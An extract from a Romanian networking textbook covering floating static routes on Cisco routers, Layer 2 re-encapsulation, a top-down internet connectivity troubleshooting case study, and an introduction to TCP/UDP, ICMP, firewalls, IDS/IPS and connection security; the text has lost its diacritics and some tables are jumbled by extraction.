HQ#show ip route [...] 10.0.0.0/30 is subnetted, 2 subnets C 10.0.0.8 is directly connected, Ethernet0/1 C 10.0.0.0 is directly connected, Ethernet0/0 11.0.0.0/30 is subnetted, 1 subnets C 11.11.22.20 is directly connected, Ethernet0/3 S 192.168.0.0/24 [1/0] via 10.0.0.2 S 192.168.1.0/24 [1/0] via 10.0.0.9 C 192.168.2.0/24 is directly connected, Ethernet0/2 S* 0.0.0.0/0 [1/0] via 11.11.22.21 HQ#configure terminal HQ(config)#no ip route 192.168.0.0 255.255.255.0 10.0.0.2 HQ(config)#ip route 192.168.0.0 255.255.255.0 10.0.0.2 100 HQ(config)#ip route 192.168.0.0 255.255.255.0 10.0.0.9 200 HQ(config)#exit HQ#show ip route [...] 0.0 10.0.0.0/30 is subnetted, 2 subnets C 10.0.0.8 is directly connected, Ethernet0/1 C 10.0.0.0 is directly connected, Ethernet0/0 11.0.0.0/30 is subnetted, 1 subnets C 11.11.22.20 is directly connected, Ethernet0/3 S 192.168.0.0/24 [100/0] via 10.0.0.2

212 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
S C S* 192.168.1.0/24 [1/0] via 10.0.0.9 192.168.2.0/24 is directly connected, Ethernet0/2 0.0.0.0/0 [1/0] via 11.11.22.21

Odat terminat, configuraia trebuie verificat pentru ambele scenarii, att cel de funcionare normal cat i cel de funcionare n regim de backup.
BR1#show ip interface brief Interface IP-Address OK? Method Status Ethernet0/0 10.0.0.2 YES NVRAM up Ethernet0/1 10.0.0.5 YES NVRAM up Ethernet0/2 192.168.0.1 YES NVRAM up Ethernet0/3 unassigned YES NVRAM administratively down BR1#show ip route [...] 10.0.0.0/30 is subnetted, 2 subnets C 10.0.0.0 is directly connected, Ethernet0/0 C 10.0.0.4 is directly connected, Ethernet0/1 C 192.168.0.0/24 is directly connected, Ethernet0/2 S 192.168.1.0/24 [1/0] via 10.0.0.6 S 192.168.2.0/24 [1/0] via 10.0.0.1 S* 0.0.0.0/0 [100/0] via 10.0.0.1 BR1#ping 11.11.22.21 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 11.11.22.21, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 8/18/36 ms Protocol up up up down

Verificarea configuraiei de backup poate fi observat n continuare.


HQ#show ip interface brief Interface IP-Address OK? Method Status Protocol Ethernet0/0 10.0.0.1 YES NVRAM administratively down down Ethernet0/1 10.0.0.10 YES NVRAM up up Ethernet0/2 192.168.2.1 YES NVRAM up up Ethernet0/3 11.11.22.22 YES NVRAM up up HQ#show ip route [...] 10.0.0.0/30 is subnetted, 1 subnets C 10.0.0.8 is directly connected, Ethernet0/1 11.0.0.0/30 is subnetted, 1 subnets C 11.11.22.20 is directly connected, Ethernet0/3 S 192.168.0.0/24 [200/0] via 10.0.0.9 S 192.168.1.0/24 [1/0] via 10.0.0.9 C 192.168.2.0/24 is directly connected, Ethernet0/2 S* 0.0.0.0/0 [1/0] via 11.11.22.21 HQ#traceroute 192.168.0.1 source 11.11.22.22 Type escape sequence to abort. Tracing the route to 192.168.0.1 1 10.0.0.9 28 msec 16 msec 36 msec 2 10.0.0.5 8 msec 60 msec *

BR1#show ip interface brief Interface IP-Address OK? Method Status Protocol Ethernet0/0 10.0.0.2 YES NVRAM administratively down down Ethernet0/1 10.0.0.5 YES NVRAM up up Ethernet0/2 192.168.0.1 YES NVRAM up up Ethernet0/3 unassigned YES NVRAM administratively down down BR1#show ip route [...] 10.0.0.0/30 is subnetted, 1 subnets C 10.0.0.4 is directly connected, Ethernet0/1 C 192.168.0.0/24 is directly connected, Ethernet0/2 S 192.168.1.0/24 [1/0] via 10.0.0.6 S* 0.0.0.0/0 [200/0] via 10.0.0.6 BR1#ping 11.11.22.21 source 192.168.0.1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 11.11.22.21, timeout is 2 seconds: Packet sent with a source address of 192.168.0.1 !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 12/19/40 ms BR1#traceroute 11.11.22.21 source 192.168.0.1 Type escape sequence to abort. Tracing the route to 11.11.22.21 1 10.0.0.6 36 msec 32 msec 20 msec 2 10.0.0.10 12 msec 32 msec 52 msec 3 11.11.22.21 8 msec 68 msec *

R u t a r e | 213

6.5.2 Modificarea ncapsulrii datelor


Pe msur ce datele sunt rutate ntr-o reea, ncapsularea acestora se modific. Chiar dac adresele IP surs i destinaie rmn aceleai pe tot parcursul reelei, antetul de nivel 2 sufer modificri pentru a asigura distribuirea adecvat a pachetelor. Pentru a ilustra modificarea ncapsulrii datelor se consider reeaua din figura 6-22.

1
R1

0
R2

IPS: 192.168.1.1 IPD:192.168.2.1 MACS: AA:AA:AA:AA:AA:AA MACD: 11:11:11:11:11:11

IPS: 192.168.1.1 IPD:192.168.2.1 MACS: 22:22:22:22:22:22 MACD: 33:33:33:33:33:33

IPS: 192.168.1.1 IPD:192.168.2.1 MACS: 44:44:44:44:44:44 MACD: BB:BB:BB:BB:BB:BB

6-22: Topologie ncapsulare date La nivelul acesteia interfeele sunt configurate conform tabelului din figura 6-23. Echipament Interfaa Staie A Staie B R1 R1 R2 R2 E1 E1 E1 E0 E0 E1 Adresa MAC AA:AA:AA:AA:AA:AA BB:BB:BB:BB:BB:BB 11:11:11:11:11:11 22:22:22:22:22:22 33:33:33:33:33:33 44:44:44:44:44:44 Adresa IP 192.168.1.1 192.168.2.1 192.168.1.253 10.0.0.1 10.0.0.2 192.168.2.253 Masca /24 /24 /24 /30 /30 /24

6-23: Adresare topologie ncapsulare n momentul n care staia A dorete s trimit un pachet ctre staia B, aceasta va ncapsula datele la nivel 2 folosind adresa MAC surs, adresa proprie, iar ca adresa MAC destinaie adresa MAC a gateway-ului default. Odat ajuns pe segmentul de reea dintre rutere, antetul de nivel 2 al pachetului va fi schimbat pentru a acomoda transferul cadrului (frame-ului) peste segmentul curent. Astfel va fi folosit ca surs adresa MAC a ruterului R1 de pe interfaa E0, i ca destinaie adresa MAC a ruterului R2 de pe interfaa E0. Odat ajuns pe ultimul segment, antetul de nivel 2 va fi din nou modificat folosind MAC surs, adresa ruterului R2 de pe interfaa E1 i ca destinaie adresa MAC a staiei B. Modificarea antetelor de nivel 2 este necesar pentru a trimite pachetul la nivelul segmentului de reea n care acesta este rutat. Pentru fiecare segment de reea parcurs adresarea de nivel 2 va fi modificat. Aceste modificri sunt realizate n mod automat de ctre ruterele care se ocup de decapsularea i rencapsularea datelor. Pe msur ce pachetele parcurg o reea, un alt cmp alterat este cmpul TTL din interiorul antetului de nivel 3. Acesta este decrementat pentru fiecare echipament de nivel 3 pe care pachetul l parcurge. n cazul n care acest cmp ajunge la valoarea 0 pachetul nu mai este transmis. Dup cum a fost prezentat n capitolele anterioare ale acestei cri, la nivelul antetului de nivel 3 se calculeaz o sum de control care este transmis odat cu acesta. Deoarece cmpul TTL face parte din antetul de nivel 3, suma de control de la acest nivel trebuie recalculat pentru fiecare echipament de nivel 3 parcurs de pachet.

214 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

6.6 Studiu de caz


6.6.1 Depanarea unei conexiuni la Internet
Una dintre cele mai frecvente activiti de depanare este cea de diagnostic i remediere a conectivitii ctre Internet. n depanarea oricrui eveniment exista dou abordri: Analiza top-down Analiza bottom-up Denumirea celor dou abordri vine de la sensul de parcurgere al stivei OSI n vederea determinrii problemei: de sus n jos sau, respectiv, de jos n sus. Cele dou metode de abordare nu difer n ceea ce privete eficiena, fiecare dintre ele putnd fi folosit pentru diagnosticare i remediere. Studiul de caz curent propune diagnosticarea i depanarea lipsei conectivitii la Internet a unui PC. Dup cum se poate observa i n figura 6-24, lipsa conectivitii la Internet se manifest prin imposibilitatea accesrii unei pagini web.

6-24: Pagin inaccesibil Abordarea folosit n diagnosticare va fi de top-down. Primul pas const n verificarea serverelor de DNS. Se poate ca acestea s nu fie configurate corespunztor i astfel rezolvarea numelui de domeniu s nu se fac adecvat. Astfel, se verific configuraia de la nivelul dispozitivului care ncearc sa acceseze site-ul pentru a observa existena intrrilor care indica serverul DNS utilizat.
C:\windows\system32>ipconfig /all Windows IP Configuration Host Name . . . . . . . . . . . . : kevin88 Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : noos.fr Wireless LAN adapter Wireless Network Connection: Connection-specific DNS Suffix . : noos.fr Description . . . . . . . . . . . : Atheros AR9002WB-1NG Wireless Network Adapter Physical Address. . . . . . . . . : D0-DF-9A-CB-DB-1A DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::7d4c:3c6f:2efb:5b37%12(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.133.104(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Lease Obtained. . . . . . . . . . : Sunday, October 14, 2012 10:09:53 AM Lease Expires . . . . . . . . . . : Monday, October 15, 2012 10:09:53 AM Default Gateway . . . . . . . . . : 192.168.133.1

R u t a r e | 215
DHCP Server . DHCPv6 IAID . DHCPv6 Client DNS Servers . 192.168.133.1 399564698 00-01-00-01-17-FB-C0-20-E8-9D-87-78-E0-2D 89.2.0.1 89.2.0.2 NetBIOS over Tcpip. . . . . . . . : Enabled . . . . . . DUID. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . : : : :

Se observ c serverele DNS sunt configurate adecvat, acestea fiind 89.2.0.1 i respectiv 89.2.0.2. Cu toate acestea, se poate ca serverele s nu rspund la cererile DNS efectuate de PC. Pasul urmtor const n verificarea rspunsului din partea serverelor DNS.
C:\windows\system32>ping 89.2.0.1 Pinging 89.2.0.1 with 32 bytes of data: Reply from 89.2.0.1: bytes=32 time=12ms TTL=60 Reply from 89.2.0.1: bytes=32 time=9ms TTL=60 Ping statistics for 89.2.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 9ms, Maximum = 13ms, Average = 11ms C:\windows\system32>ping 89.2.0.2 Pinging 89.2.0.2 with 32 bytes of data: Reply from 89.2.0.2: bytes=32 time=40ms TTL=60 Reply from 89.2.0.2: bytes=32 time=13ms TTL=60 Ping statistics for 89.2.0.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 13ms, Maximum = 40ms, Average = 25ms C:\windows\system32>nslookup Default Server: ns1.numericable.net Address: 89.2.0.1 > www.google.com Server: ns1.numericable.net Address: 89.2.0.1 Non-authoritative answer: Name: www.google.com Addresses: 2a00:1450:4007:802::1014 173.194.34.17 173.194.34.16 173.194.34.18 173.194.34.20 173.194.34.19

Se observ c serverele DNS sunt accesibile i rspunsul din partea serverelor DNS este adecvat. n cazul n care acesta nu era corespunztor, sau n cazul n care serverele DNS nu puteau fi accesate, o soluie putea consta n configurarea manual a unui server DNS public, cum ar fi serverul 8.8.8.8. De asemenea, o alt surs a problemei poate fi reprezentat de proasta configurare a gateway ului default.
C:\windows\system32>ipconfig Windows IP Configuration Wireless LAN adapter Wireless Network Connection: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : IPv4 Address. . . . . . . . . . . : Subnet Mask . . . . . . . . . . . : Default Gateway . . . . . . . . . : C:\windows\system32>ping 192.168.133.1 noos.fr fe80::7d4c:3c6f:2efb:5b37%12 192.168.133.104 255.255.255.0 192.168.133.1

Pinging 192.168.133.1 with 32 bytes of data: Reply from 192.168.133.1: bytes=32 time=1ms TTL=64 Reply from 192.168.133.1: bytes=32 time=1ms TTL=64 Ping statistics for 192.168.133.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 1ms, Maximum = 2ms, Average = 1ms C:\windows\system32>arp -a Interface: 192.168.133.104 --- 0xc Internet Address Physical Address 192.168.133.1 00-14-bf-92-ce-80 192.168.133.255 ff-ff-ff-ff-ff-ff 224.0.0.22 01-00-5e-00-00-16 224.0.0.252 01-00-5e-00-00-fc 239.255.255.250 01-00-5e-7f-ff-fa 255.255.255.255 ff-ff-ff-ff-ff-ff Type dynamic static static static static static

216 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Se observ c gateway-ul default este configurat corespunztor i rspunde la pachete ICMP de tip request. Aceast verificare confirm i configurarea corespunztoare a parametrilor de nivel 3, staia aflndu-se n aceeai reea cu gateway-ul default, intrrile n tabela ARP pentru acesta fiind corecte. Ultimul pas n abordarea top down l reprezint verificarea mediului fizic, i anume al conectivitii la nivelul interfeei.
C:\windows\system32>ipconfig Windows IP Configuration Wireless LAN adapter Wireless Network Connection: Connection-specific DNS Suffix . : noos.fr Link-local IPv6 Address . . . . . : fe80::7d4c:3c6f:2efb:5b37%12 IPv4 Address. . . . . . . . . . . : 192.168.133.104 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.133.1

Dup cum se poate observa interfaa wireless pe care este ncercat transmisia este activ. n acest moment diagnosticarea top down a fost efectuat cu succes stabilindu-se c lipsa conectivitii ctre site-ul dorit nu este cauzat de configuraii greite la nivel local. n acest caz cea mai probabil cauz a lipsei serviciilor este indisponibilitate server-ului web care gzduiete site-ul. Verificarea acestui scenariu confirm imposibilitatea trimiterii pachetelor ctre acesta.
C:\windows\system32>ping google.com Pinging Request Request Request Request google.com [173.194.34.1] with 32 bytes of data: timed out. timed out. timed out. timed out.

Ping statistics for 173.194.34.1: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),

6.7 ntrebri
1. Existena unei intrri n tabela de rutare de forma 141.85.37.0/24 141.85.254.37 nseamn: Trimite toate pachetele venite din reeaua 141.85.37.0/24 ctre 141.85.254.37 Trimite toate pachetele venite ctre reeaua 141.85.37.0/24 ctre 141.85.254.37 Trimite toate pachetele venite din reeaua 141.85.37.0/24 sau din orice alt subreea cuprins n acest spaiu de adrese ctre 141.85.254.37 Trimite toate pachetele venite ctre reeaua 141.85.37.0/24 sau ctre orice alt subreea cuprins n acest spaiu de adrese ctre 141.85.254.37 2. 3. Decizia de a ruta sau nu un pachet se bazeaz pe: Adresa surs Adresa destinaie Adresa surs i portul surs Adresa destinaie i portul destinaie Care dintre urmtoarele descrie cel mai bine convergena reelei: Cnd mesajele ajung simultan la un ruter i apare o coliziune Cnd mai multe rutere direcioneaz simultan pachete pe aceeai cale Cnd mai multe rutere ntr-o reea au aceleai cunotine despre structura i topologia reelei Cnd mai multe mesaje sunt transmise ctre aceeai destinaie

R u t a r e | 217 4. Timpul cel mai redus de convergen l au Protocoalele de rutare static Protocoalele de tip distance vector Protocoalele de tip link state Protocoalele de rutare inter-AS

5. Ctre ce interfa va fi direcionat un pachet cu destinaia 171.15.68.0 dac tabela de rutare este cea de mai jos: Adresa reea Masc 171.15.63.0 171.15.64.0 0.0.0.0 Va fi trimis pe S0 Va fi trimis pe S1 Va fi trimis pe S2 Nu va fi rutat /24 /23 /0 Next Hop 172.17.0.9 194.230.5.65 Interfaa S0 S1 S2

6.8 Referine
[1] Andrew S. Tanenbaum, David J. Wetherall. Computer Networks (5th Edition). 2010 October. [2] CCNA ICND1 640-822 Official Cert Guide, Third Edition. Wendell Odom. 2011 October [3] CCNA ICND2 640-816 Official Cert Guide, Third Edition. Wendell Odom. 2011 October [4] Building Scalable Cisco Internetworks Self-Study Guide, Third Edition. Diane Teare, Catherine Paquet. 2006 December [5] Routing TCP/IP Volume I Second Edition. Jeff Doyle, Jennifer DeHaven Carroll. 2005 October [6] Routing TCP/IP Volume II, Second Edition. Jeff Doyle, Jennifer DeHaven Carroll. 2001 April [7] MCTS Self-Paced Training Kit (Exam 70-642): Configuring Windows Server 2008 Network Infrastructure. Second Edition. Tony Northrup, J.C. Mackin. 2011 August

P a g e | 218

7 Securizarea reelei
Ce se nva n acest capitol? Cine este Vint Cerf este un om de tiin american, n domeniul calculatoarelor, fiind recunoscut ca unul din prinii internetului, mprind acest titlu cu Bob Kahn. La nceput, Cerf a fost managerul unui proiect din cadrul (DARPA) Departamentului de Aprare, Agenia pentru Proiecte de Cercetare Avansate al Statelor Unite ale Americii, ce se ocupa cu finanarea tehnologiei TCP/IP. Bruce Schneier este un specialist n securitate. Schneier este autorul Applied Cryptography i Practical Cryptography. Schneier a proiectat sau contribuit la proiectarea mai multor algoritmi de criptare precum Blowfish, Twofish, Helix. n acest moment, Schneier este CSTO la BT Counterpane, companie pe care a nfiinat-o. Dup cum s-a prezentat n capitolele anterioare, dezvoltarea internetului a adus beneficii nenumrate utilizatorilor, prin schimbul rapid de informaii. O problem important aprut a fost modul n care protejm aceste informaii. De exemplu, n reeaua local a unei companii, exist un dispozitiv pe care sunt stocate informaii confideniale, la care trebuie s aib acces doar angajaii firmei, din punctele de lucru teritoriale. Pe acelai dispozitiv este publicat i o pagin web, care trebuie s fie accesibil oricui din exterior, potenialii clieni s poat vedea serviciile oferite de companie. Aadar exist un singur dispozitiv, ce este identificat n Internet printr-o adres (nivelul 3 reea). Nu se poate limita accesul dup informaiile de la nivelul reea (adresa dispozitivului), deoarece pagina web nu ar mai fi disponibil public. Trebuie folosit un alt mecanism, dup care s se fac limitarea dorit. Problema se poate rezolva prin blocarea pachetelor nedorite n funcie de informaiile oferite de antetul de nivel 4, nivelul transport. Rolul nivelului transport Protocoale de nivel transport (TCP/UDP) Ce este un firewall Cum securizm o reea Cum securizm o conexiune

7.1 Nivelul transport


Unul dintre principalele roluri ale nivelului transport este s permit accesul mai multor aplicaii, concomitent, ctre Internet, folosind aceeai adres de nivel reea (adres IP n cazul stivei TCP/ IP). Acest lucru este posibil prin introducerea unui nou tip de adresare, la nivelul transport. Aceast adresare poart numele de port. Practic se asigur multiplexarea adresei de nivel reea: mai multe aplicaii pot folosi simultan aceeai adres de nivel 4, s comunice n reea. Se poate face o analogie cu multiplexarea semnalului, prezentat n capitolul ce descrie nivelul fizic, unde mai multe semnale puteau fi compuse i transmise simultan folosind un singur mediu de transmisie. O aplicaie folosete adresa de nivel reea i un port (adresa de nivel transport) pentru a realiza o legtur logic cu o alta, aflat n Internet. Aceast legtur poart numele de conexiune. Alte roluri oferite de nivelul transport sunt: iniierea conexiunii care are rolul de a negocia i de a crea legtura logic ntre dou aplicaii. n funcie de acest lucru exist dou tipuri de protocoale: orientate conexiune

S e c u r i z a r e a r e e l e i | 219 (menin o conexiune logic pe tot parcursul transmisiei) i neorientate conexiune (datele sunt trimise direct la destinaie, fr stabilirea unei conexiuni logice prealabile) controlul fluxului care are rolul de a controla ct de multe date s fie trimise la un moment dat. Dac o conexiune este mai lent, trebuie s se atepte ca datele s ajung la destinaie, pentru a trimite un nou set. Altfel noul set trimis se va pierde, influennd transmisia ntregului coninut. sigurana transmisiei care are grij ca datele s ajung la destinaie. n cazul n care acestea s-au modificat n timpul transmisiei (din zgomotului pe mediul de transmisie) sau se pierd, protocolul va retrimite acele date. segmentarea datelor care are rolul de a mpri, datele primite de la aplicaie, n mai multe buci, numite segmente. Ulterior sunt transmise nivelului reea. Segmentul este unitatea de transmisie folosit de nivelul transport. Nu toate protocoalele de nivel transport asigur absolut toate rolurile prezentate anterior. Dup cum vom vedea n seciunile urmtoare, n cazul protocolului UDP, sigurana transmisiei nu exist. Pentru a asigura toate serviciile prezentate, pe lng avantaje, exist i dezavantaje, cum ar fi latena introdus de sigurana datelor (se tot retrimit segmente pn cnd se primesc la destinaie). n funcie de serviciile necesare ntr-o transmisie, exist mai multe protocoale implementate n stiva TCP/IP: TCP, UDP i ICMP. ATENIE: singura stiv folosit este cea TCP/IP, cea OSI fiind doar un model teoretic.

7.1.1 TCP vs. UDP


Dup cum s-a precizat anterior, dou din protocoalele implementate la nivelul stivei TCP/IP sunt TCP (care este inclus i n denumirea stivei, fiind principalul protocol de nivel 4) i UDP. TCP sau Transmission Control Protocol, este un protocol orientat conexiune care stabilete o legtur logic, nainte de transmisia efectiv a datelor. Acesta este un protocol sigur (reliable), garantnd faptul c datele ajung n ordine la destinaie (controlul fluxului) i sunt coerente, asigurnd i controlul erorii. n cazul, n care, circuitul pe care se transmite este congestionat, protocolul TCP este capabil s ncetineasc transmisia, asigurnd controlul congestiei. TCP a fost prima dat descris n lucrarea lui Vint Cerf [1], unde nu era separat de protocolul IP i purta numele de Transmission Control Program. Mai trziu acestea au fost separate, TCP fiind descris n RFC793 [2]. Spre deosebire de TCP, UDP (User Datagram Protocol) este neorientat conexiune (datele se trimit fr a se stabili o conexiune n prealabil), nesigur (unreliable) se pot pierde segmente i fr controlul fluxului, segmentele neavnd o anumit ordine. Mai multe detalii despre protocolul UDP se gsesc n RFC 768 [3], unde a fost prima dat definit formal. Din cele prezentate anterior, TCP i UDP sunt total opuse din punct de vedere al serviciilor oferite (sau rolurilor ndeplinite), UDP-ul fiind mai slab dect TCP-ul. De ce am avea nevoie de un protocol care nu ofer dect adresarea de nivel transport (multiplexarea), cum este UDP -ul? Rspunsul la aceast ntrebare este simplu: exist servicii la care este nevoie ca transferul s fie sigur, chiar dac apare o mic ntrziere n transmiterea datelor (ex. HTTP afiarea integral a paginii web), i servicii la care pierderea unui pachet nu este important, dac datele sunt trimise ct mai repede (ex. IPTV se vrea afiat coninutul de la momentul actual de timp, nu de acum X secunde. Dac se pierde un cadru, ochiul uman oricum nu sesizeaz). n tabelul urmtor, sunt rezumate diferenele dintre protocolul TCP i protocolul UDP:

220 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Criteriu Multiplexare Segmentarea datelor Conexiune Protocol sigur (reliable) Controlul fluxului Controlul erorii

TCP Da Da Orientat conexiune Da Da Da

UDP Da Da Neorientat conexiune Nu Nu Nu

7.1.2 TCP descrierea protocolului


Dup cum am precizat n seciunea anterioar, TCP este un protocol sigur, orientat conexiune. Acesta are un cmp de 8 bii, n antetul de nivel transport, care identific diverse stri ale protocolului, folosite pentru a asigura toate aceste servicii. Civa parametri (flag-uri) importani din acest cmp sunt: SYN este folosit n protocolul de stabilire a conexiunii. Stabilete numerele de secven folosite n trimiterea pachetelor pe conexiunea creat (numrul de secven este un identificator al unui pachet pe o legtur logic). FIN este folosit n partea de protocol ce se ocup cu nchiderea conexiunii. ACK (acknowledge) bitul este setat cnd se confirm primirea unui pachet (a fost primit
fr erori). Valideaz cmpul Numr de confirmare din antet, acest numr fiind egal cu identificatorul pachetului ce a fost primit plus unu (+1).

7-1 Three-way handshake Iniierea conexiunii, n cadrul protocolului TCP, se realizeaz printr-un proces n 3 pai, care se mai numete i three-way handshake. Pentru descriera acestuia, termenul de client va desemna iniiatorul conexiunii, iar serverul este destinaia la care se conecteaz. Astfel n primul pas, clientul trimite un pachet, avnd un numr de secven X, generat local, i flag-ul SYN setat. n al doilea pas, cnd serverul primete un astfel de pachet, aceasta va confirma cererea, trimind un rspuns care are numrul de secven diferit de cel primit, generat local ( Y), iar flag-urile SYN i ACK setate.

S e c u r i z a r e a r e e l e i | 221 Cmpul Numr de confirmare, din cadrul antetului, va avea valoarea egal cu numrul de secven primit plus unu (X+1). n ultimul pas, clientul va trimite o confirmare a pachetului primit, cu flag-ul ACK
setat, ncepnd transferul efectiv de date. O ilustrare a modului n care se realizeaz conexiunea se gsete n Fig. 7-1 [4]. n momentul terminrii transmisiei, conexiunea se va nchide, urmnd aceeai

succesiune de pai, cu diferena c n loc de flag-ul SYN, va fi folosit flag-ul FIN. Dup cum s-a precizat anterior, prin intermediul acestor parametri, se menine starea conexiunii TCP. Pe baza lor se vor putea face limitri de acces n reea, pentru cerinele de securitate impuse.

7.1.3 ICMP
Un alt protocol din cadrul stivei TCP/IP este Internet Control Message Protocol (ICMP). Acesta este folosit n special pentru diagnosticarea reelelor, nefiind utilizat pentru transportul efectiv de date. Cele mai importante programe care se bazeaz pe acest protocol sunt: ping msoar latena pn la o adres IP traceroute afieaz ruterele prin intermediul crora trece un pachet pn la destinaie. Pentru o descriere mai ampl a antetului ICMP, se poate consulta RFC792 [5]. Spre deosebire de TCP/UDP, acest protocol nu asigur multiplexarea, neexistnd o form de adresare la nivelul transport. ICMP funcioneaz folosind diferite tipuri de mesaje, cele mai folosite fiind: Echo request cerere de rspuns (folosit de ping) Echo reply rspuns la cererea primit
Destination Unreachable nu se gsete destinaia

Time exceeded numrul maxim de rutere permis pentru tranzitarea unui pachet (cmpul TTL din cadrul antetului IPv4) a fost atins.

Dup cum s-a descris anterior, principalul rol al nivelului transport este de a asigura o modalitate de adresare (portul), pentru a face distincia ntre diferite servicii (HTTP vs FTP). Acest lucru permite realizarea limitrii propus la nceputul acestui capitol, existnd o separaie clar ntre cele dou servicii (web i sistem de stocare securizat), pe baza portului folosit de fiecare dintre acestea. Limitarea efectiv este realizat de un firewall, aceasta purtnd, numele de filtrare.

7.2 Firewall
Dup cum s-a precizat n seciunea anterioar, un firewall are rolul de a limita accesul la anumite servicii, n funcie de cerinele companiei. Un alt rol important este de a ne apra de atacurile venite din Internet, care nu urmresc ndeosebi accesul la acele informaii securizate. Este foarte important de tiut scopul atacului, deoarece exist mijloace specifice pentru a bloca atacurile. n funcie de inteniile atacatorului, exist mai multe tipuri de atacuri: de recunoatere ce servicii ruleaz pe server (port scan), ce sisteme dintr-o reea sunt deschise (ping sweep), ce sistem de operare ruleaz pe un calculator din reea. Acest tip de atac poate fi prevenit prin nchiderea porturilor nefolosite i blocarea pachetelor ICMP (fr ICMP, ping-ul nu funcioneaz) de ntrerupere a accesului (DoS sau Distributed DoS) folosind metode specifice (SYN Flood) se suprancarc reeaua i sistemul atacat, acestea nemai rspunznd cererilor legitime. Acest tip de atacat poate fi prevenit prin limitarea numrului de pachete ce conin flag-ul SYN setat (se mai numesc i conexiuni half-open) de acces obinerea unei parole. Acest tip de atac poate fi prevenit prin securizarea conexiunii, descris n seciunea urmtoare. Fiecare tip de atac poate fi prevenit, prin filtre ce acioneaz la diferite nivele ale stivei de protocoale. n funcie de aceste nivele, firewall-urile se pot clasifica n: Stateless - nu menin starea conexiunii, avnd nevoie doar de informaiile de nivel 3 i 4.

222 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Stateful - menin starea conexiunii, avnd nevoie de informaiile din antetele 3, 4 i 5 (ex. acestea sunt capabile s fac distincia ntre pachetele de rspuns de la o anumit destinaie i o ncercare de iniiere a unei conexiuni de la aceeai destinaie). De nivel aplicaie (proxy firewall) acestea inspecteaz inclusiv poriunea de date pentru a realiza criptri (ex. este capabil s reconstruiasc un e-mail n vederea analizei acestuia). n Fig. 7-2 sunt ilustrate nivelurile la care aceste trei tipuri de firewall acioneaz:

7-2 Clasificarea firewall-urilor O alt clasificare a firewall-ului se poate realiza n funcie de serviciile pe care le ofer: IDS (Intrusion Detection System) se ocup doar cu detecia atacurilor, informnd alte dispozitive pentru a realiza blocarea atacul. Acesta nu este, de obicei, poziionat n fluxul de trafic (datele nu trec n mod direct prin el), datele ajungnd la firewall prin duplicare (vezi Fig 7-3). Astfel, n cazul unei ncrcri foarte mari de trafic, acesta nu va influena cu nimic perfomana reelei, ci doar nu va mai reui s analizeze tot traficul. Monitorizarea efectuat de IDS se mai numete i monitorizare pasiv.
IDS

3
ISP

1 1 2
Sw

1 2
IPS

8 A B

9 21 4 C

7-3 IDS/IPS IPS (Intrusion Prevention System) se ocup cu detecia i blocarea atacurilor, fiind poziionat n fluxul de trafic (vezi Fig 7-3). Deseori acesta este integrat n Gateway-ul

S e c u r i z a r e a r e e l e i | 223 reelei locale (exist echipamente ce pot deservi ambele funcii). n cazul unui atac, acesta poate bloca n mod automat traficul maliios, dar n cazul n care traficul este foarte mare, analiza fiecrui pachet duce la scderea performanei reelei. Monitorizarea efectuat de IPS se mai numete i monitorizare activ. O alta clasificare a firewall-ului poate fi fcut n funcie de modul de implementare. Un firewall poate fi implementat ca un dispozitiv dedicat, folosind procesoare de analiz specializate, numite ASIC-uri (Cisco ASA, Fortinet Fortigate). Acestea au perfomane foarte ridicate, dar i costurile de achiziie i mentenan sunt ridicate. O soluie alternativ pentru aceste firewall-uri sunt cele implementate n software, pe calculatoare cu procesoare de uz general (ZoneAlarm, Windows Firewall, Netfilter/Iptables). Netfilter/Iptables este framework-ul de firewall-ing cel mai des folosit n sistemele de operare Linux, att pe servere, ct i pe staiile de lucru obinuite. Popularitatea lui se datoreaz flexibilitii ridicate n filtrarea traficului. Mai multe detalii, despre cum este construit i cum se folosete, se gsesc n seciunea Utilitare.

7.3 Securizarea conexiunii


n seciunile anterioare, s-a descris cum se poate realiza filtrarea unui anumit tip de trafic (de exemplu doar punctele de lucru s aib acces la un serviciu) i prevenirea unor atacuri. Un alt criteriu foarte important n transferul datelor confideniale peste o reea este securitatea conexiunii. Ce nseamn o conexiune sigur? Criteriile ce trebuie ndeplinite, pentru a securiza o conexiune sunt: autentificare permiterea accesului n sistem doar anumitor persoane (sursa i destinaia unei conexiuni sunt cine spun c sunt). confidenialitate doar sursa i destinaia unei conexiuni pot vizualiza informaia. Astfel, chiar dac cineva reuete s obin un flux de date al transferului, s nu l poat folosi. Un exemplu este atunci cnd se trimite parola unui utilizator ctre un server de e-mail. Aceasta nu trebuie s fie vizibil unui potenial atacator. integritate mesajul de la destinaie nu a fost modificat pe parcurs. De exemplu, n cadrul unui transfer bancar electronic, este foarte important ca suma specificat s nu fie modificat. Securizarea comunicaiilor n Internet poate fi comparat cu semnarea unei scrisori i trimiterea acesteia ntr-un plic sigilat. Semntura d autenticitatea scrisorii (autentificare), iar plicul sigilat i confer acesteia confidenialitatea i integritatea necesar (datele nu pot fi vzute, nici modificate). Unul din cele mai importante protocoale ce ofer toate criteriile de securitate menionate mai sus este SSH (Secure SHell). 